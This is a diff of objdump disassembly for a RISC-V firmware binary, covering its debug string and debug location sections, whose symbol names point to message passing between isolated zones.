-    a516:	2d203233          	0x2d203233
-    a51a:	636d                	lui	t1,0x1b
-    a51c:	6f6d                	lui	t5,0x1b
-    a51e:	6564                	flw	fs1,76(a0)
-    a520:	3d6c                	fld	fa1,248(a0)
-    a522:	656d                	lui	a0,0x1b
-    a524:	6164                	flw	fs1,68(a0)
-    a526:	796e                	flw	fs2,248(sp)
-    a528:	2d20                	fld	fs0,88(a0)
-    a52a:	746d                	lui	s0,0xffffb
-    a52c:	6e75                	lui	t3,0x1d
-    a52e:	3d65                	jal	a3e6 <__stack_size+0x9be6>
-    a530:	6f72                	flw	ft10,28(sp)
-    a532:	74656b63          	bltu	a0,t1,ac88 <__stack_size+0xa488>
-    a536:	2d20                	fld	fs0,88(a0)
-    a538:	4f2d2067          	0x4f2d2067
-    a53c:	4f2d2073          	csrs	0x4f2,s10
-    a540:	2032                	fld	ft0,264(sp)
-    a542:	4f2d                	li	t5,11
-    a544:	662d2073          	csrs	0x662,s10
-    a548:	7562                	flw	fa0,56(sp)
-    a54a:	6c69                	lui	s8,0x1a
-    a54c:	6964                	flw	fs1,84(a0)
-    a54e:	676e                	flw	fa4,216(sp)
-    a550:	6c2d                	lui	s8,0xb
-    a552:	6269                	lui	tp,0x1a
-    a554:	20636367          	0x20636367
-    a558:	662d                	lui	a2,0xb
-    a55a:	6f6e                	flw	ft10,216(sp)
-    a55c:	732d                	lui	t1,0xfffeb
-    a55e:	6174                	flw	fa3,68(a0)
-    a560:	702d6b63          	bltu	s10,sp,ac76 <__stack_size+0xa476>
-    a564:	6f72                	flw	ft10,28(sp)
-    a566:	6574                	flw	fa3,76(a0)
-    a568:	726f7463          	bgeu	t5,t1,ac90 <__stack_size+0xa490>
-    a56c:	2d20                	fld	fs0,88(a0)
-    a56e:	6566                	flw	fa0,88(sp)
-    a570:	6378                	flw	fa4,68(a4)
-    a572:	7065                	c.lui	zero,0xffff9
-    a574:	6974                	flw	fa3,84(a0)
-    a576:	20736e6f          	jal	t3,40f7c <__stack_size+0x4077c>
-    a57a:	662d                	lui	a2,0xb
-    a57c:	6f6e                	flw	ft10,216(sp)
-    a57e:	2d6e                	fld	fs10,216(sp)
-    a580:	6c6c6163          	bltu	s8,t1,ac42 <__stack_size+0xa442>
-    a584:	652d                	lui	a0,0xb
-    a586:	6378                	flw	fa4,68(a4)
-    a588:	7065                	c.lui	zero,0xffff9
-    a58a:	6974                	flw	fa3,84(a0)
-    a58c:	20736e6f          	jal	t3,40f92 <__stack_size+0x40792>
-    a590:	662d                	lui	a2,0xb
-    a592:	6976                	flw	fs2,92(sp)
-    a594:	69626973          	csrrsi	s2,0x696,4
-    a598:	696c                	flw	fa1,84(a0)
-    a59a:	7974                	flw	fa3,116(a0)
-    a59c:	683d                	lui	a6,0xf
-    a59e:	6469                	lui	s0,0x1a
-    a5a0:	6564                	flw	fs1,76(a0)
-    a5a2:	006e                	c.slli	zero,0x1b
-    a5a4:	5f5f 3064 5f00      	0x5f0030645f5f
-    a5aa:	645f 0031 5f5f      	0x5f5f0031645f
-    a5b0:	6876                	flw	fa6,92(sp)
-    a5b2:	5f00                	lw	s0,56(a4)
-    a5b4:	765f 006c 5f5f      	0x5f5f006c765f
-    a5ba:	5f7a6c63          	bltu	s4,s7,abb2 <__stack_size+0xa3b2>
-    a5be:	6174                	flw	fa3,68(a0)
-    a5c0:	0062                	c.slli	zero,0x18
-    a5c2:	5f5f 3078 5f00      	0x5f0030785f5f
-    a5c8:	785f 0031 5f5f      	0x5f5f0031785f
-    a5ce:	3278                	fld	fa4,224(a2)
-    a5d0:	5f00                	lw	s0,56(a4)
-    a5d2:	785f 0033 5155      	0x51550033785f
-    a5d8:	7449                	lui	s0,0xffff2
-    a5da:	7079                	c.lui	zero,0xffffe
-    a5dc:	0065                	c.nop	25
-    a5de:	4455                	li	s0,21
-    a5e0:	7449                	lui	s0,0xffff2
-    a5e2:	7079                	c.lui	zero,0xffffe
-    a5e4:	0065                	c.nop	25
-    a5e6:	5f5f 3071 5f00      	0x5f0030715f5f
-    a5ec:	715f 0031 5f5f      	0x5f5f0031715f
-    a5f2:	7278                	flw	fa4,100(a2)
-    a5f4:	5f00                	lw	s0,56(a4)
-    a5f6:	755f 6964 6d76      	0x6d766964755f
-    a5fc:	6964646f          	jal	s0,50c92 <__stack_size+0x50492>
-    a600:	0034                	addi	a3,sp,8
-    a602:	5f5f 3072 5f00      	0x5f0030725f5f
-    a608:	725f 0031 5f5f      	0x5f5f0031725f
-    a60e:	6875                	lui	a6,0x1d
-    a610:	5f00                	lw	s0,56(a4)
-    a612:	755f 006c 5f5f      	0x5f5f006c755f
-    a618:	6d75                	lui	s10,0x1d
-    a61a:	6964646f          	jal	s0,50cb0 <__stack_size+0x504b0>
-    a61e:	          	add	zero,zero,zero
+    a1de:	5f5f 2970 5f20      	0x5f2029705f5f
+    a1e4:	735f 6567 6374      	0x63746567735f
+    a1ea:	725f 7761 725f      	0x725f7761725f
+    a1f0:	5f28                	lw	a0,120(a4)
+    a1f2:	705f 7274 202c      	0x202c7274705f
+    a1f8:	5f5f 2970 4100      	0x410029705f5f
+    a1fe:	726c                	flw	fa1,100(a2)
+    a200:	6165                	addi	sp,sp,112
+    a202:	7964                	flw	fs1,116(a0)
+    a204:	6e49                	lui	t3,0x12
+    a206:	7469                	lui	s0,0xffffa
+    a208:	6169                	addi	sp,sp,208
+    a20a:	696c                	flw	fa1,84(a0)
+    a20c:	657a                	flw	fa0,156(sp)
+    a20e:	0064                	addi	s1,sp,12
+    a210:	6164                	flw	fs1,68(a0)
+    a212:	6174                	flw	fa3,68(a0)
+    a214:	654c                	flw	fa1,12(a0)
+    a216:	006e                	c.slli	zero,0x1b
+    a218:	6e69                	lui	t3,0x1a
+    a21a:	7469                	lui	s0,0xffffa
+    a21c:	74617453          	0x74617453
+    a220:	0065                	c.nop	25
+    a222:	6564                	flw	fs1,76(a0)
+    a224:	69726573          	csrrsi	a0,0x697,4
+    a228:	6c61                	lui	s8,0x18
+    a22a:	7a69                	lui	s4,0xffffa
+    a22c:	5a65                	li	s4,-7
+    a22e:	4d656e6f          	jal	t3,60704 <__stack_size+0x5ff04>
+    a232:	7365                	lui	t1,0xffff9
+    a234:	65676173          	csrrsi	sp,0x656,14
+    a238:	4e00                	lw	s0,24(a2)
+    a23a:	6559746f          	jal	s0,a208e <__stack_size+0xa188e>
+    a23e:	4974                	lw	a3,84(a0)
+    a240:	696e                	flw	fs2,216(sp)
+    a242:	6974                	flw	fa3,84(a0)
+    a244:	6c61                	lui	s8,0x18
+    a246:	7a69                	lui	s4,0xffffa
+    a248:	6465                	lui	s0,0x19
+    a24a:	6600                	flw	fs0,8(a2)
+    a24c:	6572                	flw	fa0,28(sp)
+    a24e:	4165                	li	sp,25
+    a250:	7466                	flw	fs0,120(sp)
+    a252:	7265                	lui	tp,0xffff9
+    a254:	6d00                	flw	fs0,24(a0)
+    a256:	6d65                	lui	s10,0x19
+    a258:	00746573          	csrrsi	a0,0x7,8
+    a25c:	6e69                	lui	t3,0x1a
+    a25e:	7469                	lui	s0,0xffffa
+    a260:	6f5a                	flw	ft10,148(sp)
+    a262:	656e                	flw	fa0,216(sp)
+    a264:	654d                	lui	a0,0x13
+    a266:	67617373          	csrrci	t1,0x676,2
+    a26a:	0065                	c.nop	25
+    a26c:	5a746573          	csrrsi	a0,0x5a7,8
+    a270:	4d656e6f          	jal	t3,60746 <__stack_size+0x5ff46>
+    a274:	7365                	lui	t1,0xffff9
+    a276:	65676173          	csrrsi	sp,0x656,14
+    a27a:	7700                	flw	fs0,40(a4)
+    a27c:	6972                	flw	fs2,28(sp)
+    a27e:	7474                	flw	fa3,108(s0)
+    a280:	6e65                	lui	t3,0x19
+    a282:	2e00                	fld	fs0,24(a2)
+    a284:	2f2e                	fld	ft10,200(sp)
+    a286:	72616873          	csrrsi	a6,0x726,2
+    a28a:	6465                	lui	s0,0x19
+    a28c:	6e6f5a2f          	0x6e6f5a2f
+    a290:	4d65                	li	s10,25
+    a292:	7365                	lui	t1,0xffff9
+    a294:	65676173          	csrrsi	sp,0x656,14
+    a298:	632e                	flw	ft6,200(sp)
+    a29a:	4e00                	lw	s0,24(a2)
+    a29c:	4545                	li	a0,17
+    a29e:	5344                	lw	s1,36(a4)
+    a2a0:	4e49                	li	t3,18
+    a2a2:	5449                	li	s0,-14
+    a2a4:	6d00                	flw	fs0,24(a0)
+    a2a6:	685f6773          	csrrsi	a4,0x685,30
+    a2aa:	6e61                	lui	t3,0x18
+    a2ac:	6c64                	flw	fs1,92(s0)
+    a2ae:	7265                	lui	tp,0xffff9
+    a2b0:	7200                	flw	fs0,32(a2)
+    a2b2:	6365                	lui	t1,0x19
+    a2b4:	6965                	lui	s2,0x19
+    a2b6:	6576                	flw	fa0,92(sp)
+    a2b8:	6f5a                	flw	ft10,148(sp)
+    a2ba:	656e                	flw	fa0,216(sp)
+    a2bc:	654d                	lui	a0,0x13
+    a2be:	67617373          	csrrci	t1,0x676,2
+    a2c2:	4c65                	li	s8,25
+    a2c4:	00706f6f          	jal	t5,10aca <__stack_size+0x102ca>
+    a2c8:	736d                	lui	t1,0xffffb
+    a2ca:	66754267          	0x66754267
+    a2ce:	6400                	flw	fs0,8(s0)
+    a2d0:	7461                	lui	s0,0xffff8
+    a2d2:	5361                	li	t1,-8
+    a2d4:	7274                	flw	fa3,100(a2)
+    a2d6:	6e69                	lui	t3,0x1a
+    a2d8:	47424467          	0x47424467
+    a2dc:	654c                	flw	fa1,12(a0)
+    a2de:	006e                	c.slli	zero,0x1b
+    a2e0:	6e727473          	csrrci	s0,0x6e7,4
+    a2e4:	656c                	flw	fa1,76(a0)
+    a2e6:	006e                	c.slli	zero,0x1b
+    a2e8:	646e6573          	csrrsi	a0,0x646,28
+    a2ec:	6f54                	flw	fa3,28(a4)
+    a2ee:	6f5a                	flw	ft10,148(sp)
+    a2f0:	656e                	flw	fa0,216(sp)
+    a2f2:	6d00                	flw	fs0,24(a0)
+    a2f4:	7365                	lui	t1,0xffff9
+    a2f6:	65676173          	csrrsi	sp,0x656,14
+    a2fa:	7542                	flw	fa0,48(sp)
+    a2fc:	6666                	flw	fa2,88(sp)
+    a2fe:	7265                	lui	tp,0xffff9
+    a300:	7300                	flw	fs0,32(a4)
+    a302:	6e65                	lui	t3,0x19
+    a304:	4264                	lw	s1,68(a2)
+    a306:	7479                	lui	s0,0xffffe
+    a308:	7365                	lui	t1,0xffff9
+    a30a:	6400                	flw	fs0,8(s0)
+    a30c:	6762                	flw	fa4,24(sp)
+    a30e:	656c                	flw	fa1,76(a0)
+    a310:	006e                	c.slli	zero,0x1b
+    a312:	6572                	flw	fa0,28(sp)
+    a314:	76696563          	bltu	s2,t1,aa7e <__stack_size+0xa27e>
+    a318:	5a65                	li	s4,-7
+    a31a:	4d656e6f          	jal	t3,607f0 <__stack_size+0x5fff0>
+    a31e:	7365                	lui	t1,0xffff9
+    a320:	65676173          	csrrsi	sp,0x656,14
+    a324:	7200                	flw	fs0,32(a2)
+    a326:	6365                	lui	t1,0x19
+    a328:	4276                	lw	tp,92(sp)
+    a32a:	6675                	lui	a2,0x1d
+    a32c:	6566                	flw	fa0,88(sp)
+    a32e:	0072                	c.slli	zero,0x1c
+    a330:	63727473          	csrrci	s0,0x637,4
+    a334:	706d                	c.lui	zero,0xffffb
+    a336:	7a00                	flw	fs0,48(a2)
+    a338:	00656e6f          	jal	t3,6033e <__stack_size+0x5fb3e>
+    a33c:	2e2e                	fld	ft8,200(sp)
+    a33e:	6168732f          	0x6168732f
+    a342:	6572                	flw	fa0,28(sp)
+    a344:	2f64                	fld	fs1,216(a4)
+    a346:	656d                	lui	a0,0x1b
+    a348:	67617373          	csrrci	t1,0x676,2
+    a34c:	4865                	li	a6,25
+    a34e:	6e61                	lui	t3,0x18
+    a350:	6c64                	flw	fs1,92(s0)
+    a352:	6e69                	lui	t3,0x1a
+    a354:	00632e67          	0x632e67
+    a358:	72706e73          	csrrsi	t3,0x727,0
+    a35c:	6e69                	lui	t3,0x1a
+    a35e:	6674                	flw	fa3,76(a2)
+    a360:	7300                	flw	fs0,32(a4)
+    a362:	6e65                	lui	t3,0x19
+    a364:	0074                	addi	a3,sp,12
+    a366:	72727473          	csrrci	s0,0x727,4
+    a36a:	00726863          	bltu	tp,t2,a37a <__stack_size+0x9b7a>
+    a36e:	6572                	flw	fa0,28(sp)
+    a370:	76696563          	bltu	s2,t1,aada <__stack_size+0xa2da>
+    a374:	4665                	li	a2,25
+    a376:	6f72                	flw	ft10,28(sp)
+    a378:	5a6d                	li	s4,-5
+    a37a:	00656e6f          	jal	t3,60380 <__stack_size+0x5fb80>
+    a37e:	6f7a                	flw	ft10,156(sp)
+    a380:	656e                	flw	fa0,216(sp)
+    a382:	6f7a0033          	0x6f7a0033
+    a386:	656e                	flw	fa0,216(sp)
+    a388:	0034                	addi	a3,sp,8
+    a38a:	6f74                	flw	fa3,92(a4)
+    a38c:	6552                	flw	fa0,20(sp)
+    a38e:	76696563          	bltu	s2,t1,aaf8 <__stack_size+0xa2f8>
+    a392:	0065                	c.nop	25
+    a394:	6572                	flw	fa0,28(sp)
+    a396:	76696563          	bltu	s2,t1,ab00 <__stack_size+0xa300>
+    a39a:	6465                	lui	s0,0x19
+    a39c:	654d                	lui	a0,0x13
+    a39e:	67617373          	csrrci	t1,0x676,2
+    a3a2:	0065                	c.nop	25
+    a3a4:	6572                	flw	fa0,28(sp)
+    a3a6:	76696563          	bltu	s2,t1,ab10 <__stack_size+0xa310>
+    a3aa:	6465                	lui	s0,0x19
+    a3ac:	6300                	flw	fs0,0(a4)
+    a3ae:	4279706f          	j	a1fd4 <__stack_size+0xa17d4>
+    a3b2:	7479                	lui	s0,0xffffe
+    a3b4:	7365                	lui	t1,0xffff9
+    a3b6:	7200                	flw	fs0,32(a2)
+    a3b8:	6678                	flw	fa4,76(a2)
+    a3ba:	6669                	lui	a2,0x1a
+    a3bc:	7473006f          	j	3b302 <__stack_size+0x3ab02>
+    a3c0:	635f 6974 006d      	0x6d6974635f
+    a3c6:	625f7473          	csrrci	s0,0x625,30
+    a3ca:	6b6c                	flw	fa1,84(a4)
+    a3cc:	657a6973          	csrrsi	s2,0x657,20
+    a3d0:	7300                	flw	fs0,32(a4)
+    a3d2:	5f74                	lw	a3,124(a4)
+    a3d4:	6c62                	flw	fs8,24(sp)
+    a3d6:	736b636f          	jal	t1,c0b0c <__stack_size+0xc030c>
+    a3da:	5f00                	lw	s0,56(a4)
+    a3dc:	675f 6469 745f      	0x745f6469675f
+    a3e2:	7300                	flw	fs0,32(a4)
+    a3e4:	5f74                	lw	a3,124(a4)
+    a3e6:	746d                	lui	s0,0xffffb
+    a3e8:	6d69                	lui	s10,0x1a
+    a3ea:	7400                	flw	fs0,40(s0)
+    a3ec:	6d69                	lui	s10,0x1a
+    a3ee:	5f65                	li	t5,-7
+    a3f0:	0074                	addi	a3,sp,12
+    a3f2:	775f 6972 6574      	0x65746972775f
+    a3f8:	5f00                	lw	s0,56(a4)
+    a3fa:	6568                	flw	fa0,76(a0)
+    a3fc:	7061                	c.lui	zero,0xffff8
+    a3fe:	655f 646e 5f00      	0x5f00646e655f
+    a404:	645f 7665 745f      	0x745f7665645f
+    a40a:	7300                	flw	fs0,32(a4)
+    a40c:	5f74                	lw	a3,124(a4)
+    a40e:	657a6973          	csrrsi	s2,0x657,20
+    a412:	7300                	flw	fs0,32(a4)
+    a414:	5f74                	lw	a3,124(a4)
+    a416:	6975                	lui	s2,0x1d
+    a418:	0064                	addi	s1,sp,12
+    a41a:	695f 6173 7474      	0x74746173695f
+    a420:	0079                	c.nop	30
+    a422:	5f5f 6c62 736b      	0x736b6c625f5f
+    a428:	7a69                	lui	s4,0xffffa
+    a42a:	5f65                	li	t5,-7
+    a42c:	0074                	addi	a3,sp,12
+    a42e:	735f7473          	csrrci	s0,0x735,30
+    a432:	6170                	flw	fa2,68(a0)
+    a434:	6572                	flw	fa0,28(sp)
+    a436:	0034                	addi	a3,sp,8
+    a438:	725f7473          	csrrci	s0,0x725,30
+    a43c:	6564                	flw	fs1,76(a0)
+    a43e:	0076                	c.slli	zero,0x1d
+    a440:	635f 6f6c 6573      	0x65736f6c635f
+    a446:	2e00                	fld	fs0,24(a2)
+    a448:	2f2e                	fld	ft10,200(sp)
+    a44a:	7362                	flw	ft6,56(sp)
+    a44c:	2f70                	fld	fa2,216(a4)
+    a44e:	3358                	fld	fa4,160(a4)
+    a450:	3030                	fld	fa2,96(s0)
+    a452:	77656e2f          	0x77656e2f
+    a456:	696c                	flw	fa1,84(a0)
+    a458:	2f62                	fld	ft10,24(sp)
+    a45a:	656e                	flw	fa0,216(sp)
+    a45c:	62696c77          	0x62696c77
+    a460:	632e                	flw	ft6,200(sp)
+    a462:	5f00                	lw	s0,56(a4)
+    a464:	6d5f 646f 5f65      	0x5f65646f6d5f
+    a46a:	0074                	addi	a3,sp,12
+    a46c:	6c66                	flw	fs8,88(sp)
+    a46e:	6761                	lui	a4,0x18
+    a470:	69660073          	0x69660073
+    a474:	656c                	flw	fa1,76(a0)
+    a476:	7300                	flw	fs0,32(a4)
+    a478:	5f74                	lw	a3,124(a4)
+    a47a:	6c6e                	flw	fs8,216(sp)
+    a47c:	6e69                	lui	t3,0x1a
+    a47e:	7473006b          	0x7473006b
+    a482:	675f 6469 5f00      	0x5f006469675f
+    a488:	625f 6b6c 6e63      	0x6e636b6c625f
+    a48e:	5f74                	lw	a3,124(a4)
+    a490:	0074                	addi	a3,sp,12
+    a492:	735f 7262 006b      	0x6b7262735f
+    a498:	5f5f 6e69 5f6f      	0x5f6f6e695f5f
+    a49e:	0074                	addi	a3,sp,12
+    a4a0:	685f 6165 5f70      	0x5f706165685f
+    a4a6:	7470                	flw	fa2,108(s0)
+    a4a8:	0072                	c.slli	zero,0x1c
+    a4aa:	7562                	flw	fa0,56(sp)
+    a4ac:	6666                	flw	fa2,88(sp)
+    a4ae:	6900                	flw	fs0,16(a0)
+    a4b0:	636e                	flw	ft6,216(sp)
+    a4b2:	0072                	c.slli	zero,0x1c
+    a4b4:	725f 6165 0064      	0x646165725f
+    a4ba:	645f7473          	csrrci	s0,0x645,30
+    a4be:	7665                	lui	a2,0xffff9
+    a4c0:	7400                	flw	fs0,40(s0)
+    a4c2:	6d69                	lui	s10,0x1a
+    a4c4:	7365                	lui	t1,0xffff9
+    a4c6:	6570                	flw	fa2,76(a0)
+    a4c8:	5f5f0063          	beq	t5,s5,aaa8 <__stack_size+0xa2a8>
+    a4cc:	5f66666f          	jal	a2,70ac2 <__stack_size+0x702c2>
+    a4d0:	0074                	addi	a3,sp,12
+    a4d2:	665f 7473 7461      	0x74617473665f
+    a4d8:	7400                	flw	fs0,40(s0)
+    a4da:	5f76                	lw	t5,124(sp)
+    a4dc:	736e                	flw	ft6,248(sp)
+    a4de:	6365                	lui	t1,0x19
+    a4e0:	5f00                	lw	s0,56(a4)
+    a4e2:	6e65706f          	j	61bc8 <__stack_size+0x613c8>
+    a4e6:	7300                	flw	fs0,32(a4)
+    a4e8:	5f74                	lw	a3,124(a4)
+    a4ea:	6f6d                	lui	t5,0x1b
+    a4ec:	6564                	flw	fs1,76(a0)
+    a4ee:	5f00                	lw	s0,56(a4)
+    a4f0:	755f 6469 745f      	0x745f6469755f
+    a4f6:	5f00                	lw	s0,56(a4)
+    a4f8:	736c                	flw	fa1,100(a4)
+    a4fa:	6565                	lui	a0,0x19
+    a4fc:	7473006b          	0x7473006b
+    a500:	695f 6f6e 5f00      	0x5f006f6e695f
+    a506:	6e5f 696c 6b6e      	0x6b6e696c6e5f
+    a50c:	745f 7300 5f74      	0x5f747300745f
+    a512:	7461                	lui	s0,0xffff8
+    a514:	6d69                	lui	s10,0x1a
+	...
 
 Disassembly of section .debug_loc:
 
 00000000 <.debug_loc>:
-       0:	26f8                	fld	fa4,200(a3)
-       2:	2040                	fld	fs0,128(s0)
-       4:	29ce                	fld	fs3,208(sp)
-       6:	2040                	fld	fs0,128(s0)
-       8:	0002                	c.slli64	zero
-       a:	9f30                	0x9f30
-       c:	29ce                	fld	fs3,208(sp)
-       e:	2040                	fld	fs0,128(s0)
-      10:	2a7c                	fld	fa5,208(a2)
-      12:	2040                	fld	fs0,128(s0)
-      14:	0002                	c.slli64	zero
-      16:	9f31                	0x9f31
-      18:	2a92                	fld	fs5,256(sp)
-      1a:	2040                	fld	fs0,128(s0)
-      1c:	2b1c                	fld	fa5,16(a4)
-      1e:	2040                	fld	fs0,128(s0)
-      20:	0002                	c.slli64	zero
-      22:	9f30                	0x9f30
-	...
-      2c:	275c                	fld	fa5,136(a4)
-      2e:	2040                	fld	fs0,128(s0)
-      30:	277c                	fld	fa5,200(a4)
-      32:	2040                	fld	fs0,128(s0)
-      34:	0001                	nop
-      36:	825f 4027 9620      	0x96204027825f
-      3c:	01204027          	fsq	fs2,0(zero) # 0 <__stack_size-0x800>
-      40:	5f00                	lw	s0,56(a4)
-      42:	2798                	fld	fa4,8(a5)
-      44:	2040                	fld	fs0,128(s0)
-      46:	27a8                	fld	fa0,72(a5)
-      48:	2040                	fld	fs0,128(s0)
-      4a:	0001                	nop
-      4c:	aa5f 4027 ba20      	0xba204027aa5f
-      52:	01204027          	fsq	fs2,0(zero) # 0 <__stack_size-0x800>
-      56:	5f00                	lw	s0,56(a4)
-      58:	2822                	fld	fa6,8(sp)
-      5a:	2040                	fld	fs0,128(s0)
-      5c:	2830                	fld	fa2,80(s0)
-      5e:	2040                	fld	fs0,128(s0)
-      60:	0001                	nop
-      62:	4a5f 4028 5620      	0x562040284a5f
-      68:	4028                	lw	a0,64(s0)
-      6a:	0120                	addi	s0,sp,136
-      6c:	5f00                	lw	s0,56(a4)
-      6e:	2872                	fld	fa6,280(sp)
-      70:	2040                	fld	fs0,128(s0)
-      72:	2882                	fld	fa7,0(sp)
-      74:	2040                	fld	fs0,128(s0)
-      76:	0001                	nop
-      78:	ec5f 4028 fc20      	0xfc204028ec5f
-      7e:	4028                	lw	a0,64(s0)
-      80:	0120                	addi	s0,sp,136
-      82:	5f00                	lw	s0,56(a4)
-      84:	2936                	fld	fs2,328(sp)
-      86:	2040                	fld	fs0,128(s0)
-      88:	20402973          	csrr	s2,hie
-      8c:	0001                	nop
-      8e:	b45f 4029 ca20      	0xca204029b45f
-      94:	4029                	c.li	zero,10
-      96:	0120                	addi	s0,sp,136
-      98:	5f00                	lw	s0,56(a4)
-      9a:	2a92                	fld	fs5,256(sp)
-      9c:	2040                	fld	fs0,128(s0)
-      9e:	2abc                	fld	fa5,80(a3)
-      a0:	2040                	fld	fs0,128(s0)
-      a2:	0001                	nop
-      a4:	005f 0000 0000      	0x5f
-      aa:	0000                	unimp
-      ac:	b600                	fsd	fs0,40(a2)
-      ae:	10204027          	fsq	ft2,256(zero) # 100 <__stack_size-0x700>
-      b2:	4028                	lw	a0,64(s0)
-      b4:	0120                	addi	s0,sp,136
-      b6:	6200                	flw	fs0,0(a2)
-      b8:	2816                	fld	fa6,320(sp)
-      ba:	2040                	fld	fs0,128(s0)
-      bc:	281c                	fld	fa5,16(s0)
-      be:	2040                	fld	fs0,128(s0)
-      c0:	0001                	nop
-      c2:	1c62                	slli	s8,s8,0x38
-      c4:	4028                	lw	a0,64(s0)
-      c6:	2020                	fld	fs0,64(s0)
-      c8:	4028                	lw	a0,64(s0)
-      ca:	0320                	addi	s0,sp,392
-      cc:	8200                	0x8200
-      ce:	9f7f                	0x9f7f
-      d0:	2820                	fld	fs0,80(s0)
-      d2:	2040                	fld	fs0,128(s0)
-      d4:	2822                	fld	fa6,8(sp)
-      d6:	2040                	fld	fs0,128(s0)
-      d8:	0001                	nop
-      da:	0062                	c.slli	zero,0x18
-      dc:	0000                	unimp
-      de:	0000                	unimp
-      e0:	0000                	unimp
-      e2:	2800                	fld	fs0,16(s0)
-      e4:	4029                	c.li	zero,10
-      e6:	2e20                	fld	fs0,88(a2)
-      e8:	4029                	c.li	zero,10
-      ea:	0120                	addi	s0,sp,136
-      ec:	6700                	flw	fs0,8(a4)
-      ee:	292e                	fld	fs2,200(sp)
-      f0:	2040                	fld	fs0,128(s0)
-      f2:	2934                	fld	fa3,80(a0)
-      f4:	2040                	fld	fs0,128(s0)
-      f6:	7f870003          	lb	zero,2040(a4) # ffff97f8 <_heap_end+0x7ffeaff8>
-      fa:	349f 4029 3620      	0x36204029349f
-     100:	4029                	c.li	zero,10
-     102:	0120                	addi	s0,sp,136
-     104:	6700                	flw	fs0,8(a4)
-     106:	2aba                	fld	fs5,392(sp)
-     108:	2040                	fld	fs0,128(s0)
-     10a:	2b1c                	fld	fa5,16(a4)
-     10c:	2040                	fld	fs0,128(s0)
-     10e:	0001                	nop
-     110:	00000067          	jr	zero # 0 <__stack_size-0x800>
-     114:	0000                	unimp
-     116:	0000                	unimp
-     118:	5800                	lw	s0,48(s0)
-     11a:	4029                	c.li	zero,10
-     11c:	6220                	flw	fs0,64(a2)
-     11e:	4029                	c.li	zero,10
-     120:	0120                	addi	s0,sp,136
-     122:	5c00                	lw	s0,56(s0)
-     124:	29b4                	fld	fa3,80(a1)
-     126:	2040                	fld	fs0,128(s0)
-     128:	29ba                	fld	fs3,392(sp)
-     12a:	2040                	fld	fs0,128(s0)
-     12c:	0001                	nop
-     12e:	ba5c                	fsd	fa5,176(a2)
-     130:	4029                	c.li	zero,10
-     132:	be20                	fsd	fs0,120(a2)
-     134:	4029                	c.li	zero,10
-     136:	0320                	addi	s0,sp,392
-     138:	7c00                	flw	fs0,56(s0)
-     13a:	9f01                	0x9f01
-     13c:	29be                	fld	fs3,456(sp)
-     13e:	2040                	fld	fs0,128(s0)
-     140:	29c0                	fld	fs0,144(a1)
-     142:	2040                	fld	fs0,128(s0)
-     144:	0001                	nop
-     146:	005c                	addi	a5,sp,4
-     148:	0000                	unimp
-     14a:	0000                	unimp
-     14c:	0000                	unimp
-     14e:	0e00                	addi	s0,sp,784
-     150:	402a                	0x402a
-     152:	1420                	addi	s0,sp,552
-     154:	402a                	0x402a
-     156:	0120                	addi	s0,sp,136
-     158:	6200                	flw	fs0,0(a2)
-     15a:	2a14                	fld	fa3,16(a2)
-     15c:	2040                	fld	fs0,128(s0)
-     15e:	2a18                	fld	fa4,16(a2)
-     160:	2040                	fld	fs0,128(s0)
-     162:	7f820003          	lb	zero,2040(tp) # 1a7f8 <__stack_size+0x19ff8>
-     166:	189f 402a 2620      	0x2620402a189f
-     16c:	402a                	0x402a
-     16e:	0120                	addi	s0,sp,136
-     170:	6200                	flw	fs0,0(a2)
-	...
-     17a:	2312                	fld	ft6,256(sp)
-     17c:	2040                	fld	fs0,128(s0)
-     17e:	2322                	fld	ft6,8(sp)
-     180:	2040                	fld	fs0,128(s0)
-     182:	0005                	c.nop	1
-     184:	9358                	0x9358
-     186:	9304                	0x9304
-     188:	220c                	fld	fa1,0(a2)
-     18a:	2a204023          	0x2a204023
-     18e:	08204023          	0x8204023
-     192:	5800                	lw	s0,48(s0)
-     194:	93590493          	addi	s1,s2,-1739 # e935 <__stack_size+0xe135>
-     198:	9304                	0x9304
-     19a:	2a08                	fld	fa0,16(a2)
-     19c:	34204023          	0x34204023
-     1a0:	0b204023          	0xb204023
-     1a4:	5800                	lw	s0,48(s0)
-     1a6:	93590493          	addi	s1,s2,-1739
-     1aa:	5a04                	lw	s1,48(a2)
-     1ac:	04930493          	addi	s1,t1,73 # fffeb049 <_heap_end+0x7ffdc849>
-     1b0:	2334                	fld	fa3,64(a4)
-     1b2:	2040                	fld	fs0,128(s0)
-     1b4:	233a                	fld	ft6,392(sp)
-     1b6:	2040                	fld	fs0,128(s0)
-     1b8:	9358000b          	0x9358000b
-     1bc:	5904                	lw	s1,48(a0)
-     1be:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     1c2:	9304                	0x9304
-     1c4:	3a04                	fld	fs1,48(a2)
-     1c6:	44204023          	0x44204023
-     1ca:	0c204023          	0xc204023
-     1ce:	5800                	lw	s0,48(s0)
-     1d0:	93590493          	addi	s1,s2,-1739
-     1d4:	6204                	flw	fs1,0(a2)
-     1d6:	935a0493          	addi	s1,s4,-1739 # ffff9935 <_heap_end+0x7ffeb135>
-     1da:	4404                	lw	s1,8(s0)
-     1dc:	4e204023          	0x4e204023
-     1e0:	0c204023          	0xc204023
-     1e4:	5800                	lw	s0,48(s0)
-     1e6:	93590493          	addi	s1,s2,-1739
-     1ea:	6204                	flw	fs1,0(a2)
-     1ec:	935a0493          	addi	s1,s4,-1739
-     1f0:	4e04                	lw	s1,24(a2)
-     1f2:	6c204023          	0x6c204023
-     1f6:	0c204023          	0xc204023
-     1fa:	5800                	lw	s0,48(s0)
-     1fc:	93590493          	addi	s1,s2,-1739
-     200:	6204                	flw	fs1,0(a2)
-     202:	93630493          	addi	s1,t1,-1738
-     206:	6c04                	flw	fs1,24(s0)
-     208:	7a204023          	0x7a204023
-     20c:	0a204023          	0xa204023
-     210:	9300                	0x9300
-     212:	5904                	lw	s1,48(a0)
-     214:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     218:	9304                	0x9304
-     21a:	7a04                	flw	fs1,48(a2)
-     21c:	7c204023          	0x7c204023
-     220:	07204023          	0x7204023
-     224:	9300                	0x9300
-     226:	6208                	flw	fa0,0(a2)
-     228:	04930493          	addi	s1,t1,73
-     22c:	2384                	fld	fs1,0(a5)
-     22e:	2040                	fld	fs0,128(s0)
-     230:	238e                	fld	ft7,192(sp)
-     232:	2040                	fld	fs0,128(s0)
-     234:	000c                	0xc
-     236:	9358                	0x9358
-     238:	5904                	lw	s1,48(a0)
